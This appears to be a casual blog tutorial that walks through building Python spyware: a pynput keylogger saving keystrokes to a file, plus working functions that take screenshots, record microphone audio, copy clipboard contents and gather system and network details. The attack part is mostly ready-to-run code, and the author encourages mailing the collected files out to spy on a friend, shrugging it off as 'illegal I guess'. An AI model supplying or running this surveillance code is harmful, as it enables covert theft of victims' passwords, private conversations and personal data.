Creating a Keylogger with Python

The simple spyware

Creating a Keylogger with Python

Python is a known and popular programming language in this era, and its inbuilt threading ability has made it useful for many purposes. Before we move on, some might be a bit lost on what I mean but don't worry I won't stress your brain😁😁. Threading is the ability to run different parts of your process concurrently, that is, different parts having separate units of execution belonging to the same process. For Example, a web browser running multiple tabs, or an application running multiple cameras each working separately. I hope that has been solved, so let's continue on the journey.

Felt a bit like a hacker today, not into hacking though, so decided to try out a basic keylogger. First thought, logging of keys right, that's close to it😉, but basically, a keylogger is a form of spyware (monitoring software) that can be used to collect keystrokes that one types. So you might be typing sensitive data on your PC and won't even know that someone is collecting the data, that really made me think twice about what I type these days, but some softwares detects and protects you from that and also minds what you install and links you click these days.

In this tutorial, we would be creating a keylogger with python and its libraries, we will be adding more functionalities such as taking screenshots, recording audio, taking clipboard data, and taking some system information. That's a lot of spying I will say, and an exciting thing to work on right😎... let's get started.

For this tutorial, we need to install things:

  • Python. Python has some libraries pre-installed already.

We would be using pip after installing python to install these other dependencies.

Now we are done with the installations, let's get started with the coding.

Recording Keyboard Inputs

First taking keyboard inputs and writing them to a file

from pynput.keyboard import Listener, Key

def onPress(key):
    if key == Key.esc:
        return False
    try:
        k = key.char
    except:
        k = key.name
        if k == "space":
            k = " "
    file1 = open('keyboard_file.txt', "a")
    file1.write(k)
    file1.close()

def onRelease(key):
    if (key == Key.esc):
        return False

listener = Listener(on_press=onPress, on_release=onRelease)
listener.start()

Here we are using the pynput Keyboard module, and declaring two functions onPress and onRelease which would listen to press and release events of the keyboard and append the character into a text file. Note, we added an breakaway key which is the escape key to exit the listener which listens continuously for keystrokes. Now we are done with the keylogger, let's move to other functionalities.

Taking Screenshots

The second task, taking screenshots and saving them as a JPEG or Png

import pyscreenshot as ImageGrab

def screenshot_func():
    image = ImageGrab.grab()
    image.save(f"./screenshot.jpg", "JPEG")

The grab() function basically handles the screenshot and the save() takes two arguments, the file name and file type (png or JPEG). So easy right...

Recording Audio

The third task, is recording audio using a PC microphone and saving it.

import sounddevice as sd
from scipy.io.wavfile import write

def sound(count):
    fs = 48000
    sd.default.samplerate = fs
    sd.default.channels = 2
    duration = 20
    myrecording = sd.rec(int(duration * fs))
    sd.wait()
    write("soundrecord.wav", fs, myrecording)

The sounddevice module handles the audio recording with the duration being in seconds. sd.wait() basically tells it to continue recording till the duration of over. The scipy write function is used to convert from different file formats to others, in this case to a simple uncompressed WAV file.

Clipboard Data

The fourth task, is copying clipboard data.

from tkinter import Tk

def clipboard():
    try:
        data = Tk().clipboard_get()
    except Exception:
        data = "no data in clipboard"
    file1 = open('clipboard_file.txt', "a")
    file1.write(data)
    file1.close()

The code above simply copies data from clipboard and saves it in a file.

System Information

The final task in this tutorial, collecting system information.

import psutil
import platform

def system_Data():
    # getting disk info
    partitions = psutil.disk_partitions()
    for partition in partitions:
        try:
            partition_usage = psutil.disk_usage(partition.mountpoint)
        except PermissionError:
            continue
        ROM_space = partition_usage.total
    # getting network info
    addrs = psutil.net_if_addrs()
    for interface_name, interface_addrs in addrs.items():
        for address in interface_addrs:
            if str(address.family) == "AddressFamily.AF_INET":
                IP_Address = address.address
                Netmask = address.netmask
                BroadcastIP = address.broadcast
            elif str(address.family) == "AddressFamily.AF_PACKET":
                IP_Address = address.address
                Netmask = address.netmask
                BroadcastIP = address.broadcast

    body = f'''
    ==== The System Information ====\n

    Computer Name : {platform.node()}\n
    Machine Type: {platform.machine()}\n
    Processor : {platform.processor()}\n
    Processor Speed : {psutil.cpu_freq().current / 1000}\n
    Operating System: {platform.system()} {platform.release()}; version : {platform.version()}\n
    Total RAM Installed: {round(psutil.virtual_memory().total/1000000000, 2)} GB\n
    Total RAM Installed: {round(ROM_space/1000000000)} GB\n
    Ip address: {IP_Address}\n
    Netmask: {Netmask}\n
    BroadcastIp : {BroadcastIP}\n
    '''
    file1 = open('system_Information_file.txt', 'a')
    file1.write(body)
    file1.close()

Don't worry much about understanding much of the code above, they are basically built in methods of checking system information using python.

Wow...we have gone through a lot of hacking code, not like hacking a bank or blockchain, but we can show off a little with our little spyware too. To make it cooler, you can setup up an email manager for sending the files to your mailbox, and here you go, spying on your friend. Note, not an advice from me🤫....its illegal I guess.

Wrote a full implementation of this keylogger, with the email setup and continuous data collection and email updates of current files. Do well to check it our here

Thanks for reading and happy hacking😁😁😁...